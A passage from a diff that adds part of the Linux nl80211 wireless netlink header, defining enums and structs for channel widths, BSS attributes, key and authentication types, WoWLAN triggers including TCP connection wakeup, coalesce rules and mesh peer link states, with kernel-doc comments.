nl80211_chan_width { + NL80211_CHAN_WIDTH_20_NOHT, + NL80211_CHAN_WIDTH_20, + NL80211_CHAN_WIDTH_40, + NL80211_CHAN_WIDTH_80, + NL80211_CHAN_WIDTH_80P80, + NL80211_CHAN_WIDTH_160, + NL80211_CHAN_WIDTH_5, + NL80211_CHAN_WIDTH_10, +}; + +/** + * enum nl80211_bss_scan_width - control channel width for a BSS + * + * These values are used with the %NL80211_BSS_CHAN_WIDTH attribute. + * + * @NL80211_BSS_CHAN_WIDTH_20: control channel is 20 MHz wide or compatible + * @NL80211_BSS_CHAN_WIDTH_10: control channel is 10 MHz wide + * @NL80211_BSS_CHAN_WIDTH_5: control channel is 5 MHz wide + */ +enum nl80211_bss_scan_width { + NL80211_BSS_CHAN_WIDTH_20, + NL80211_BSS_CHAN_WIDTH_10, + NL80211_BSS_CHAN_WIDTH_5, +}; + +/** + * enum nl80211_bss - netlink attributes for a BSS + * + * @__NL80211_BSS_INVALID: invalid + * @NL80211_BSS_BSSID: BSSID of the BSS (6 octets) + * @NL80211_BSS_FREQUENCY: frequency in MHz (u32) + * @NL80211_BSS_TSF: TSF of the received probe response/beacon (u64) + * @NL80211_BSS_BEACON_INTERVAL: beacon interval of the (I)BSS (u16) + * @NL80211_BSS_CAPABILITY: capability field (CPU order, u16) + * @NL80211_BSS_INFORMATION_ELEMENTS: binary attribute containing the + * raw information elements from the probe response/beacon (bin); + * if the %NL80211_BSS_BEACON_IES attribute is present, the IEs here are + * from a Probe Response frame; otherwise they are from a Beacon frame. + * However, if the driver does not indicate the source of the IEs, these + * IEs may be from either frame subtype. + * @NL80211_BSS_SIGNAL_MBM: signal strength of probe response/beacon + * in mBm (100 * dBm) (s32) + * @NL80211_BSS_SIGNAL_UNSPEC: signal strength of the probe response/beacon + * in unspecified units, scaled to 0..100 (u8) + * @NL80211_BSS_STATUS: status, if this BSS is "used" + * @NL80211_BSS_SEEN_MS_AGO: age of this BSS entry in ms + * @NL80211_BSS_BEACON_IES: binary attribute containing the raw information + * elements from a Beacon frame (bin); not present if no Beacon frame has + * yet been received + * @NL80211_BSS_CHAN_WIDTH: channel width of the control channel + * (u32, enum nl80211_bss_scan_width) + * @__NL80211_BSS_AFTER_LAST: internal + * @NL80211_BSS_MAX: highest BSS attribute + */ +enum nl80211_bss { + __NL80211_BSS_INVALID, + NL80211_BSS_BSSID, + NL80211_BSS_FREQUENCY, + NL80211_BSS_TSF, + NL80211_BSS_BEACON_INTERVAL, + NL80211_BSS_CAPABILITY, + NL80211_BSS_INFORMATION_ELEMENTS, + NL80211_BSS_SIGNAL_MBM, + NL80211_BSS_SIGNAL_UNSPEC, + NL80211_BSS_STATUS, + NL80211_BSS_SEEN_MS_AGO, + NL80211_BSS_BEACON_IES, + NL80211_BSS_CHAN_WIDTH, + + /* keep last */ + __NL80211_BSS_AFTER_LAST, + NL80211_BSS_MAX = __NL80211_BSS_AFTER_LAST - 1 +}; + +/** + * enum nl80211_bss_status - BSS "status" + * @NL80211_BSS_STATUS_AUTHENTICATED: Authenticated with this BSS. + * @NL80211_BSS_STATUS_ASSOCIATED: Associated with this BSS. + * @NL80211_BSS_STATUS_IBSS_JOINED: Joined to this IBSS. + * + * The BSS status is a BSS attribute in scan dumps, which + * indicates the status the interface has wrt. this BSS. + */ +enum nl80211_bss_status { + NL80211_BSS_STATUS_AUTHENTICATED, + NL80211_BSS_STATUS_ASSOCIATED, + NL80211_BSS_STATUS_IBSS_JOINED, +}; + +/** + * enum nl80211_auth_type - AuthenticationType + * + * @NL80211_AUTHTYPE_OPEN_SYSTEM: Open System authentication + * @NL80211_AUTHTYPE_SHARED_KEY: Shared Key authentication (WEP only) + * @NL80211_AUTHTYPE_FT: Fast BSS Transition (IEEE 802.11r) + * @NL80211_AUTHTYPE_NETWORK_EAP: Network EAP (some Cisco APs and mainly LEAP) + * @NL80211_AUTHTYPE_SAE: Simultaneous authentication of equals + * @__NL80211_AUTHTYPE_NUM: internal + * @NL80211_AUTHTYPE_MAX: maximum valid auth algorithm + * @NL80211_AUTHTYPE_AUTOMATIC: determine automatically (if necessary by + * trying multiple times); this is invalid in netlink -- leave out + * the attribute for this on CONNECT commands. + */ +enum nl80211_auth_type { + NL80211_AUTHTYPE_OPEN_SYSTEM, + NL80211_AUTHTYPE_SHARED_KEY, + NL80211_AUTHTYPE_FT, + NL80211_AUTHTYPE_NETWORK_EAP, + NL80211_AUTHTYPE_SAE, + + /* keep last */ + __NL80211_AUTHTYPE_NUM, + NL80211_AUTHTYPE_MAX = __NL80211_AUTHTYPE_NUM - 1, + NL80211_AUTHTYPE_AUTOMATIC +}; + +/** + * enum nl80211_key_type - Key Type + * @NL80211_KEYTYPE_GROUP: Group (broadcast/multicast) key + * @NL80211_KEYTYPE_PAIRWISE: Pairwise (unicast/individual) key + * @NL80211_KEYTYPE_PEERKEY: PeerKey (DLS) + * @NUM_NL80211_KEYTYPES: number of defined key types + */ +enum nl80211_key_type { + NL80211_KEYTYPE_GROUP, + NL80211_KEYTYPE_PAIRWISE, + NL80211_KEYTYPE_PEERKEY, + + NUM_NL80211_KEYTYPES +}; + +/** + * enum nl80211_mfp - Management frame protection state + * @NL80211_MFP_NO: Management frame protection not used + * @NL80211_MFP_REQUIRED: Management frame protection required + */ +enum nl80211_mfp { + NL80211_MFP_NO, + NL80211_MFP_REQUIRED, +}; + +enum nl80211_wpa_versions { + NL80211_WPA_VERSION_1 = 1 << 0, + NL80211_WPA_VERSION_2 = 1 << 1, +}; + +/** + * enum nl80211_key_default_types - key default types + * @__NL80211_KEY_DEFAULT_TYPE_INVALID: invalid + * @NL80211_KEY_DEFAULT_TYPE_UNICAST: key should be used as default + * unicast key + * @NL80211_KEY_DEFAULT_TYPE_MULTICAST: key should be used as default + * multicast key + * @NUM_NL80211_KEY_DEFAULT_TYPES: number of default types + */ +enum nl80211_key_default_types { + __NL80211_KEY_DEFAULT_TYPE_INVALID, + NL80211_KEY_DEFAULT_TYPE_UNICAST, + NL80211_KEY_DEFAULT_TYPE_MULTICAST, + + NUM_NL80211_KEY_DEFAULT_TYPES +}; + +/** + * enum nl80211_key_attributes - key attributes + * @__NL80211_KEY_INVALID: invalid + * @NL80211_KEY_DATA: (temporal) key data; for TKIP this consists of + * 16 bytes encryption key followed by 8 bytes each for TX and RX MIC + * keys + * @NL80211_KEY_IDX: key ID (u8, 0-3) + * @NL80211_KEY_CIPHER: key cipher suite (u32, as defined by IEEE 802.11 + * section 7.3.2.25.1, e.g. 0x000FAC04) + * @NL80211_KEY_SEQ: transmit key sequence number (IV/PN) for TKIP and + * CCMP keys, each six bytes in little endian + * @NL80211_KEY_DEFAULT: flag indicating default key + * @NL80211_KEY_DEFAULT_MGMT: flag indicating default management key + * @NL80211_KEY_TYPE: the key type from enum nl80211_key_type, if not + * specified the default depends on whether a MAC address was + * given with the command using the key or not (u32) + * @NL80211_KEY_DEFAULT_TYPES: A nested attribute containing flags + * attributes, specifying what a key should be set as default as. + * See &enum nl80211_key_default_types. + * @__NL80211_KEY_AFTER_LAST: internal + * @NL80211_KEY_MAX: highest key attribute + */ +enum nl80211_key_attributes { + __NL80211_KEY_INVALID, + NL80211_KEY_DATA, + NL80211_KEY_IDX, + NL80211_KEY_CIPHER, + NL80211_KEY_SEQ, + NL80211_KEY_DEFAULT, + NL80211_KEY_DEFAULT_MGMT, + NL80211_KEY_TYPE, + NL80211_KEY_DEFAULT_TYPES, + + /* keep last */ + __NL80211_KEY_AFTER_LAST, + NL80211_KEY_MAX = __NL80211_KEY_AFTER_LAST - 1 +}; + +/** + * enum nl80211_tx_rate_attributes - TX rate set attributes + * @__NL80211_TXRATE_INVALID: invalid + * @NL80211_TXRATE_LEGACY: Legacy (non-MCS) rates allowed for TX rate selection + * in an array of rates as defined in IEEE 802.11 7.3.2.2 (u8 values with + * 1 = 500 kbps) but without the IE length restriction (at most + * %NL80211_MAX_SUPP_RATES in a single array). + * @NL80211_TXRATE_MCS: HT (MCS) rates allowed for TX rate selection + * in an array of MCS numbers. + * @__NL80211_TXRATE_AFTER_LAST: internal + * @NL80211_TXRATE_MAX: highest TX rate attribute + */ +enum nl80211_tx_rate_attributes { + __NL80211_TXRATE_INVALID, + NL80211_TXRATE_LEGACY, + NL80211_TXRATE_MCS, + + /* keep last */ + __NL80211_TXRATE_AFTER_LAST, + NL80211_TXRATE_MAX = __NL80211_TXRATE_AFTER_LAST - 1 +}; + +/** + * enum nl80211_band - Frequency band + * @NL80211_BAND_2GHZ: 2.4 GHz ISM band + * @NL80211_BAND_5GHZ: around 5 GHz band (4.9 - 5.7 GHz) + * @NL80211_BAND_60GHZ: around 60 GHz band (58.32 - 64.80 GHz) + */ +enum nl80211_band { + NL80211_BAND_2GHZ, + NL80211_BAND_5GHZ, + NL80211_BAND_60GHZ, +}; + +/** + * enum nl80211_ps_state - powersave state + * @NL80211_PS_DISABLED: powersave is disabled + * @NL80211_PS_ENABLED: powersave is enabled + */ +enum nl80211_ps_state { + NL80211_PS_DISABLED, + NL80211_PS_ENABLED, +}; + +/** + * enum nl80211_attr_cqm - connection quality monitor attributes + * @__NL80211_ATTR_CQM_INVALID: invalid + * @NL80211_ATTR_CQM_RSSI_THOLD: RSSI threshold in dBm. This value specifies + * the threshold for the RSSI level at which an event will be sent. Zero + * to disable. + * @NL80211_ATTR_CQM_RSSI_HYST: RSSI hysteresis in dBm. This value specifies + * the minimum amount the RSSI level must change after an event before a + * new event may be issued (to reduce effects of RSSI oscillation). + * @NL80211_ATTR_CQM_RSSI_THRESHOLD_EVENT: RSSI threshold event + * @NL80211_ATTR_CQM_PKT_LOSS_EVENT: a u32 value indicating that this many + * consecutive packets were not acknowledged by the peer + * @NL80211_ATTR_CQM_TXE_RATE: TX error rate in %. Minimum % of TX failures + * during the given %NL80211_ATTR_CQM_TXE_INTVL before an + * %NL80211_CMD_NOTIFY_CQM with reported %NL80211_ATTR_CQM_TXE_RATE and + * %NL80211_ATTR_CQM_TXE_PKTS is generated. + * @NL80211_ATTR_CQM_TXE_PKTS: number of attempted packets in a given + * %NL80211_ATTR_CQM_TXE_INTVL before %NL80211_ATTR_CQM_TXE_RATE is + * checked. + * @NL80211_ATTR_CQM_TXE_INTVL: interval in seconds. Specifies the periodic + * interval in which %NL80211_ATTR_CQM_TXE_PKTS and + * %NL80211_ATTR_CQM_TXE_RATE must be satisfied before generating an + * %NL80211_CMD_NOTIFY_CQM. Set to 0 to turn off TX error reporting. + * @__NL80211_ATTR_CQM_AFTER_LAST: internal + * @NL80211_ATTR_CQM_MAX: highest key attribute + */ +enum nl80211_attr_cqm { + __NL80211_ATTR_CQM_INVALID, + NL80211_ATTR_CQM_RSSI_THOLD, + NL80211_ATTR_CQM_RSSI_HYST, + NL80211_ATTR_CQM_RSSI_THRESHOLD_EVENT, + NL80211_ATTR_CQM_PKT_LOSS_EVENT, + NL80211_ATTR_CQM_TXE_RATE, + NL80211_ATTR_CQM_TXE_PKTS, + NL80211_ATTR_CQM_TXE_INTVL, + + /* keep last */ + __NL80211_ATTR_CQM_AFTER_LAST, + NL80211_ATTR_CQM_MAX = __NL80211_ATTR_CQM_AFTER_LAST - 1 +}; + +/** + * enum nl80211_cqm_rssi_threshold_event - RSSI threshold event + * @NL80211_CQM_RSSI_THRESHOLD_EVENT_LOW: The RSSI level is lower than the + * configured threshold + * @NL80211_CQM_RSSI_THRESHOLD_EVENT_HIGH: The RSSI is higher than the + * configured threshold + * @NL80211_CQM_RSSI_BEACON_LOSS_EVENT: The device experienced beacon loss. + * (Note that deauth/disassoc will still follow if the AP is not + * available. This event might get used as roaming event, etc.) + */ +enum nl80211_cqm_rssi_threshold_event { + NL80211_CQM_RSSI_THRESHOLD_EVENT_LOW, + NL80211_CQM_RSSI_THRESHOLD_EVENT_HIGH, + NL80211_CQM_RSSI_BEACON_LOSS_EVENT, +}; + + +/** + * enum nl80211_tx_power_setting - TX power adjustment + * @NL80211_TX_POWER_AUTOMATIC: automatically determine transmit power + * @NL80211_TX_POWER_LIMITED: limit TX power by the mBm parameter + * @NL80211_TX_POWER_FIXED: fix TX power to the mBm parameter + */ +enum nl80211_tx_power_setting { + NL80211_TX_POWER_AUTOMATIC, + NL80211_TX_POWER_LIMITED, + NL80211_TX_POWER_FIXED, +}; + +/** + * enum nl80211_packet_pattern_attr - packet pattern attribute + * @__NL80211_PKTPAT_INVALID: invalid number for nested attribute + * @NL80211_PKTPAT_PATTERN: the pattern, values where the mask has + * a zero bit are ignored + * @NL80211_PKTPAT_MASK: pattern mask, must be long enough to have + * a bit for each byte in the pattern. The lowest-order bit corresponds + * to the first byte of the pattern, but the bytes of the pattern are + * in a little-endian-like format, i.e. the 9th byte of the pattern + * corresponds to the lowest-order bit in the second byte of the mask. + * For example: The match 00:xx:00:00:xx:00:00:00:00:xx:xx:xx (where + * xx indicates "don't care") would be represented by a pattern of + * twelve zero bytes, and a mask of "0xed,0x01". + * Note that the pattern matching is done as though frames were not + * 802.11 frames but 802.3 frames, i.e. the frame is fully unpacked + * first (including SNAP header unpacking) and then matched. + * @NL80211_PKTPAT_OFFSET: packet offset, pattern is matched after + * these fixed number of bytes of received packet + * @NUM_NL80211_PKTPAT: number of attributes + * @MAX_NL80211_PKTPAT: max attribute number + */ +enum nl80211_packet_pattern_attr { + __NL80211_PKTPAT_INVALID, + NL80211_PKTPAT_MASK, + NL80211_PKTPAT_PATTERN, + NL80211_PKTPAT_OFFSET, + + NUM_NL80211_PKTPAT, + MAX_NL80211_PKTPAT = NUM_NL80211_PKTPAT - 1, +}; + +/** + * struct nl80211_pattern_support - packet pattern support information + * @max_patterns: maximum number of patterns supported + * @min_pattern_len: minimum length of each pattern + * @max_pattern_len: maximum length of each pattern + * @max_pkt_offset: maximum Rx packet offset + * + * This struct is carried in %NL80211_WOWLAN_TRIG_PKT_PATTERN when + * that is part of %NL80211_ATTR_WOWLAN_TRIGGERS_SUPPORTED or in + * %NL80211_ATTR_COALESCE_RULE_PKT_PATTERN when that is part of + * %NL80211_ATTR_COALESCE_RULE in the capability information given + * by the kernel to userspace. + */ +struct nl80211_pattern_support { + __u32 max_patterns; + __u32 min_pattern_len; + __u32 max_pattern_len; + __u32 max_pkt_offset; +} __attribute__((packed)); + +/* only for backward compatibility */ +#define __NL80211_WOWLAN_PKTPAT_INVALID __NL80211_PKTPAT_INVALID +#define NL80211_WOWLAN_PKTPAT_MASK NL80211_PKTPAT_MASK +#define NL80211_WOWLAN_PKTPAT_PATTERN NL80211_PKTPAT_PATTERN +#define NL80211_WOWLAN_PKTPAT_OFFSET NL80211_PKTPAT_OFFSET +#define NUM_NL80211_WOWLAN_PKTPAT NUM_NL80211_PKTPAT +#define MAX_NL80211_WOWLAN_PKTPAT MAX_NL80211_PKTPAT +#define nl80211_wowlan_pattern_support nl80211_pattern_support + +/** + * enum nl80211_wowlan_triggers - WoWLAN trigger definitions + * @__NL80211_WOWLAN_TRIG_INVALID: invalid number for nested attributes + * @NL80211_WOWLAN_TRIG_ANY: wake up on any activity, do not really put + * the chip into a special state -- works best with chips that have + * support for low-power operation already (flag) + * @NL80211_WOWLAN_TRIG_DISCONNECT: wake up on disconnect, the way disconnect + * is detected is implementation-specific (flag) + * @NL80211_WOWLAN_TRIG_MAGIC_PKT: wake up on magic packet (6x 0xff, followed + * by 16 repetitions of MAC addr, anywhere in payload) (flag) + * @NL80211_WOWLAN_TRIG_PKT_PATTERN: wake up on the specified packet patterns + * which are passed in an array of nested attributes, each nested attribute + * defining a with attributes from &struct nl80211_wowlan_trig_pkt_pattern. + * Each pattern defines a wakeup packet. Packet offset is associated with + * each pattern which is used while matching the pattern. The matching is + * done on the MSDU, i.e. as though the packet was an 802.3 packet, so the + * pattern matching is done after the packet is converted to the MSDU. + * + * In %NL80211_ATTR_WOWLAN_TRIGGERS_SUPPORTED, it is a binary attribute + * carrying a &struct nl80211_pattern_support. + * + * When reporting wakeup. it is a u32 attribute containing the 0-based + * index of the pattern that caused the wakeup, in the patterns passed + * to the kernel when configuring. + * @NL80211_WOWLAN_TRIG_GTK_REKEY_SUPPORTED: Not a real trigger, and cannot be + * used when setting, used only to indicate that GTK rekeying is supported + * by the device (flag) + * @NL80211_WOWLAN_TRIG_GTK_REKEY_FAILURE: wake up on GTK rekey failure (if + * done by the device) (flag) + * @NL80211_WOWLAN_TRIG_EAP_IDENT_REQUEST: wake up on EAP Identity Request + * packet (flag) + * @NL80211_WOWLAN_TRIG_4WAY_HANDSHAKE: wake up on 4-way handshake (flag) + * @NL80211_WOWLAN_TRIG_RFKILL_RELEASE: wake up when rfkill is released + * (on devices that have rfkill in the device) (flag) + * @NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211: For wakeup reporting only, contains + * the 802.11 packet that caused the wakeup, e.g. a deauth frame. The frame + * may be truncated, the @NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211_LEN + * attribute contains the original length. + * @NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211_LEN: Original length of the 802.11 + * packet, may be bigger than the @NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211 + * attribute if the packet was truncated somewhere. + * @NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023: For wakeup reporting only, contains the + * 802.11 packet that caused the wakeup, e.g. a magic packet. The frame may + * be truncated, the @NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023_LEN attribute + * contains the original length. + * @NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023_LEN: Original length of the 802.3 + * packet, may be bigger than the @NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023 + * attribute if the packet was truncated somewhere. + * @NL80211_WOWLAN_TRIG_TCP_CONNECTION: TCP connection wake, see DOC section + * "TCP connection wakeup" for more details. This is a nested attribute + * containing the exact information for establishing and keeping alive + * the TCP connection. + * @NL80211_WOWLAN_TRIG_TCP_WAKEUP_MATCH: For wakeup reporting only, the + * wakeup packet was received on the TCP connection + * @NL80211_WOWLAN_TRIG_WAKEUP_TCP_CONNLOST: For wakeup reporting only, the + * TCP connection was lost or failed to be established + * @NL80211_WOWLAN_TRIG_WAKEUP_TCP_NOMORETOKENS: For wakeup reporting only, + * the TCP connection ran out of tokens to use for data to send to the + * service + * @NUM_NL80211_WOWLAN_TRIG: number of wake on wireless triggers + * @MAX_NL80211_WOWLAN_TRIG: highest wowlan trigger attribute number + * + * These nested attributes are used to configure the wakeup triggers and + * to report the wakeup reason(s). + */ +enum nl80211_wowlan_triggers { + __NL80211_WOWLAN_TRIG_INVALID, + NL80211_WOWLAN_TRIG_ANY, + NL80211_WOWLAN_TRIG_DISCONNECT, + NL80211_WOWLAN_TRIG_MAGIC_PKT, + NL80211_WOWLAN_TRIG_PKT_PATTERN, + NL80211_WOWLAN_TRIG_GTK_REKEY_SUPPORTED, + NL80211_WOWLAN_TRIG_GTK_REKEY_FAILURE, + NL80211_WOWLAN_TRIG_EAP_IDENT_REQUEST, + NL80211_WOWLAN_TRIG_4WAY_HANDSHAKE, + NL80211_WOWLAN_TRIG_RFKILL_RELEASE, + NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211, + NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211_LEN, + NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023, + NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023_LEN, + NL80211_WOWLAN_TRIG_TCP_CONNECTION, + NL80211_WOWLAN_TRIG_WAKEUP_TCP_MATCH, + NL80211_WOWLAN_TRIG_WAKEUP_TCP_CONNLOST, + NL80211_WOWLAN_TRIG_WAKEUP_TCP_NOMORETOKENS, + + /* keep last */ + NUM_NL80211_WOWLAN_TRIG, + MAX_NL80211_WOWLAN_TRIG = NUM_NL80211_WOWLAN_TRIG - 1 +}; + +/** + * DOC: TCP connection wakeup + * + * Some devices can establish a TCP connection in order to be woken up by a + * packet coming in from outside their network segment, or behind NAT. If + * configured, the device will establish a TCP connection to the given + * service, and periodically send data to that service. The first data + * packet is usually transmitted after SYN/ACK, also ACKing the SYN/ACK. + * The data packets can optionally include a (little endian) sequence + * number (in the TCP payload!) that is generated by the device, and, also + * optionally, a token from a list of tokens. This serves as a keep-alive + * with the service, and for NATed connections, etc. + * + * During this keep-alive period, the server doesn't send any data to the + * client. When receiving data, it is compared against the wakeup pattern + * (and mask) and if it matches, the host is woken up. Similarly, if the + * connection breaks or cannot be established to start with, the host is + * also woken up. + * + * Developer's note: ARP offload is required for this, otherwise TCP + * response packets might not go through correctly. + */ + +/** + * struct nl80211_wowlan_tcp_data_seq - WoWLAN TCP data sequence + * @start: starting value + * @offset: offset of sequence number in packet + * @len: length of the sequence value to write, 1 through 4 + * + * Note: don't confuse with the TCP sequence number(s), this is for the + * keepalive packet payload. The actual value is written into the packet + * in little endian. + */ +struct nl80211_wowlan_tcp_data_seq { + __u32 start, offset, len; +}; + +/** + * struct nl80211_wowlan_tcp_data_token - WoWLAN TCP data token config + * @offset: offset of token in packet + * @len: length of each token + * @token_stream: stream of data to be used for the tokens, the length must + * be a multiple of @len for this to make sense + */ +struct nl80211_wowlan_tcp_data_token { + __u32 offset, len; + __u8 token_stream[]; +}; + +/** + * struct nl80211_wowlan_tcp_data_token_feature - data token features + * @min_len: minimum token length + * @max_len: maximum token length + * @bufsize: total available token buffer size (max size of @token_stream) + */ +struct nl80211_wowlan_tcp_data_token_feature { + __u32 min_len, max_len, bufsize; +}; + +/** + * enum nl80211_wowlan_tcp_attrs - WoWLAN TCP connection parameters + * @__NL80211_WOWLAN_TCP_INVALID: invalid number for nested attributes + * @NL80211_WOWLAN_TCP_SRC_IPV4: source IPv4 address (in network byte order) + * @NL80211_WOWLAN_TCP_DST_IPV4: destination IPv4 address + * (in network byte order) + * @NL80211_WOWLAN_TCP_DST_MAC: destination MAC address, this is given because + * route lookup when configured might be invalid by the time we suspend, + * and doing a route lookup when suspending is no longer possible as it + * might require ARP querying. + * @NL80211_WOWLAN_TCP_SRC_PORT: source port (u16); optional, if not given a + * socket and port will be allocated + * @NL80211_WOWLAN_TCP_DST_PORT: destination port (u16) + * @NL80211_WOWLAN_TCP_DATA_PAYLOAD: data packet payload, at least one byte. + * For feature advertising, a u32 attribute holding the maximum length + * of the data payload. + * @NL80211_WOWLAN_TCP_DATA_PAYLOAD_SEQ: data packet sequence configuration + * (if desired), a &struct nl80211_wowlan_tcp_data_seq. For feature + * advertising it is just a flag + * @NL80211_WOWLAN_TCP_DATA_PAYLOAD_TOKEN: data packet token configuration, + * see &struct nl80211_wowlan_tcp_data_token and for advertising see + * &struct nl80211_wowlan_tcp_data_token_feature. + * @NL80211_WOWLAN_TCP_DATA_INTERVAL: data interval in seconds, maximum + * interval in feature advertising (u32) + * @NL80211_WOWLAN_TCP_WAKE_PAYLOAD: wake packet payload, for advertising a + * u32 attribute holding the maximum length + * @NL80211_WOWLAN_TCP_WAKE_MASK: Wake packet payload mask, not used for + * feature advertising. The mask works like @NL80211_PKTPAT_MASK + * but on the TCP payload only. + * @NUM_NL80211_WOWLAN_TCP: number of TCP attributes + * @MAX_NL80211_WOWLAN_TCP: highest attribute number + */ +enum nl80211_wowlan_tcp_attrs { + __NL80211_WOWLAN_TCP_INVALID, + NL80211_WOWLAN_TCP_SRC_IPV4, + NL80211_WOWLAN_TCP_DST_IPV4, + NL80211_WOWLAN_TCP_DST_MAC, + NL80211_WOWLAN_TCP_SRC_PORT, + NL80211_WOWLAN_TCP_DST_PORT, + NL80211_WOWLAN_TCP_DATA_PAYLOAD, + NL80211_WOWLAN_TCP_DATA_PAYLOAD_SEQ, + NL80211_WOWLAN_TCP_DATA_PAYLOAD_TOKEN, + NL80211_WOWLAN_TCP_DATA_INTERVAL, + NL80211_WOWLAN_TCP_WAKE_PAYLOAD, + NL80211_WOWLAN_TCP_WAKE_MASK, + + /* keep last */ + NUM_NL80211_WOWLAN_TCP, + MAX_NL80211_WOWLAN_TCP = NUM_NL80211_WOWLAN_TCP - 1 +}; + +/** + * struct nl80211_coalesce_rule_support - coalesce rule support information + * @max_rules: maximum number of rules supported + * @pat: packet pattern support information + * @max_delay: maximum supported coalescing delay in msecs + * + * This struct is carried in %NL80211_ATTR_COALESCE_RULE in the + * capability information given by the kernel to userspace. + */ +struct nl80211_coalesce_rule_support { + __u32 max_rules; + struct nl80211_pattern_support pat; + __u32 max_delay; +} __attribute__((packed)); + +/** + * enum nl80211_attr_coalesce_rule - coalesce rule attribute + * @__NL80211_COALESCE_RULE_INVALID: invalid number for nested attribute + * @NL80211_ATTR_COALESCE_RULE_DELAY: delay in msecs used for packet coalescing + * @NL80211_ATTR_COALESCE_RULE_CONDITION: condition for packet coalescence, + * see &enum nl80211_coalesce_condition. + * @NL80211_ATTR_COALESCE_RULE_PKT_PATTERN: packet offset, pattern is matched + * after these fixed number of bytes of received packet + * @NUM_NL80211_ATTR_COALESCE_RULE: number of attributes + * @NL80211_ATTR_COALESCE_RULE_MAX: max attribute number + */ +enum nl80211_attr_coalesce_rule { + __NL80211_COALESCE_RULE_INVALID, + NL80211_ATTR_COALESCE_RULE_DELAY, + NL80211_ATTR_COALESCE_RULE_CONDITION, + NL80211_ATTR_COALESCE_RULE_PKT_PATTERN, + + /* keep last */ + NUM_NL80211_ATTR_COALESCE_RULE, + NL80211_ATTR_COALESCE_RULE_MAX = NUM_NL80211_ATTR_COALESCE_RULE - 1 +}; + +/** + * enum nl80211_coalesce_condition - coalesce rule conditions + * @NL80211_COALESCE_CONDITION_MATCH: coalaesce Rx packets when patterns + * in a rule are matched. + * @NL80211_COALESCE_CONDITION_NO_MATCH: coalesce Rx packets when patterns + * in a rule are not matched. + */ +enum nl80211_coalesce_condition { + NL80211_COALESCE_CONDITION_MATCH, + NL80211_COALESCE_CONDITION_NO_MATCH +}; + +/** + * enum nl80211_iface_limit_attrs - limit attributes + * @NL80211_IFACE_LIMIT_UNSPEC: (reserved) + * @NL80211_IFACE_LIMIT_MAX: maximum number of interfaces that + * can be chosen from this set of interface types (u32) + * @NL80211_IFACE_LIMIT_TYPES: nested attribute containing a + * flag attribute for each interface type in this set + * @NUM_NL80211_IFACE_LIMIT: number of attributes + * @MAX_NL80211_IFACE_LIMIT: highest attribute number + */ +enum nl80211_iface_limit_attrs { + NL80211_IFACE_LIMIT_UNSPEC, + NL80211_IFACE_LIMIT_MAX, + NL80211_IFACE_LIMIT_TYPES, + + /* keep last */ + NUM_NL80211_IFACE_LIMIT, + MAX_NL80211_IFACE_LIMIT = NUM_NL80211_IFACE_LIMIT - 1 +}; + +/** + * enum nl80211_if_combination_attrs -- interface combination attributes + * + * @NL80211_IFACE_COMB_UNSPEC: (reserved) + * @NL80211_IFACE_COMB_LIMITS: Nested attributes containing the limits + * for given interface types, see &enum nl80211_iface_limit_attrs. + * @NL80211_IFACE_COMB_MAXNUM: u32 attribute giving the total number of + * interfaces that can be created in this group. This number doesn't + * apply to interfaces purely managed in software, which are listed + * in a separate attribute %NL80211_ATTR_INTERFACES_SOFTWARE. + * @NL80211_IFACE_COMB_STA_AP_BI_MATCH: flag attribute specifying that + * beacon intervals within this group must be all the same even for + * infrastructure and AP/GO combinations, i.e. the GO(s) must adopt + * the infrastructure network's beacon interval. + * @NL80211_IFACE_COMB_NUM_CHANNELS: u32 attribute specifying how many + * different channels may be used within this group. + * @NL80211_IFACE_COMB_RADAR_DETECT_WIDTHS: u32 attribute containing the bitmap + * of supported channel widths for radar detection. + * @NUM_NL80211_IFACE_COMB: number of attributes + * @MAX_NL80211_IFACE_COMB: highest attribute number + * + * Examples: + * limits = [ #{STA} <= 1, #{AP} <= 1 ], matching BI, channels = 1, max = 2 + * => allows an AP and a STA that must match BIs + * + * numbers = [ #{AP, P2P-GO} <= 8 ], channels = 1, max = 8 + * => allows 8 of AP/GO + * + * numbers = [ #{STA} <= 2 ], channels = 2, max = 2 + * => allows two STAs on different channels + * + * numbers = [ #{STA} <= 1, #{P2P-client,P2P-GO} <= 3 ], max = 4 + * => allows a STA plus three P2P interfaces + * + * The list of these four possiblities could completely be contained + * within the %NL80211_ATTR_INTERFACE_COMBINATIONS attribute to indicate + * that any of these groups must match. + * + * "Combinations" of just a single interface will not be listed here, + * a single interface of any valid interface type is assumed to always + * be possible by itself. This means that implicitly, for each valid + * interface type, the following group always exists: + * numbers = [ #{} <= 1 ], channels = 1, max = 1 + */ +enum nl80211_if_combination_attrs { + NL80211_IFACE_COMB_UNSPEC, + NL80211_IFACE_COMB_LIMITS, + NL80211_IFACE_COMB_MAXNUM, + NL80211_IFACE_COMB_STA_AP_BI_MATCH, + NL80211_IFACE_COMB_NUM_CHANNELS, + NL80211_IFACE_COMB_RADAR_DETECT_WIDTHS, + + /* keep last */ + NUM_NL80211_IFACE_COMB, + MAX_NL80211_IFACE_COMB = NUM_NL80211_IFACE_COMB - 1 +}; + + +/** + * enum nl80211_plink_state - state of a mesh peer link finite state machine + * + * @NL80211_PLINK_LISTEN: initial state, considered the implicit + * state of non existant mesh peer links + * @NL80211_PLINK_OPN_SNT: mesh plink open frame has been sent to + * this mesh peer + * @NL80211_PLINK_OPN_RCVD: mesh plink open frame has been received + * from this mesh peer + * @NL80211_PLINK_CNF_RCVD: mesh plink confirm frame has been + * received from this mesh peer + * @NL80211_PLINK_ESTAB: mesh peer link is established + * @NL80211_PLINK_HOLDING: mesh peer link is being closed or cancelled + * @NL80211_PLINK_BLOCKED: all frames transmitted from this mesh + * plink are discarded + * @NUM_NL80211_PLINK_STATES: number of peer link states + * @MAX_NL80211_PLINK_STATES: highest numerical value of plink states + */ +enum nl80211_plink_state { + NL80211_PLINK_LISTEN, + NL80211_PLINK_OPN_SNT, + NL80211_PLINK_OPN_RCVD, + NL80211_PLINK_CNF_RCVD, + NL80211_PLINK_ESTAB, + 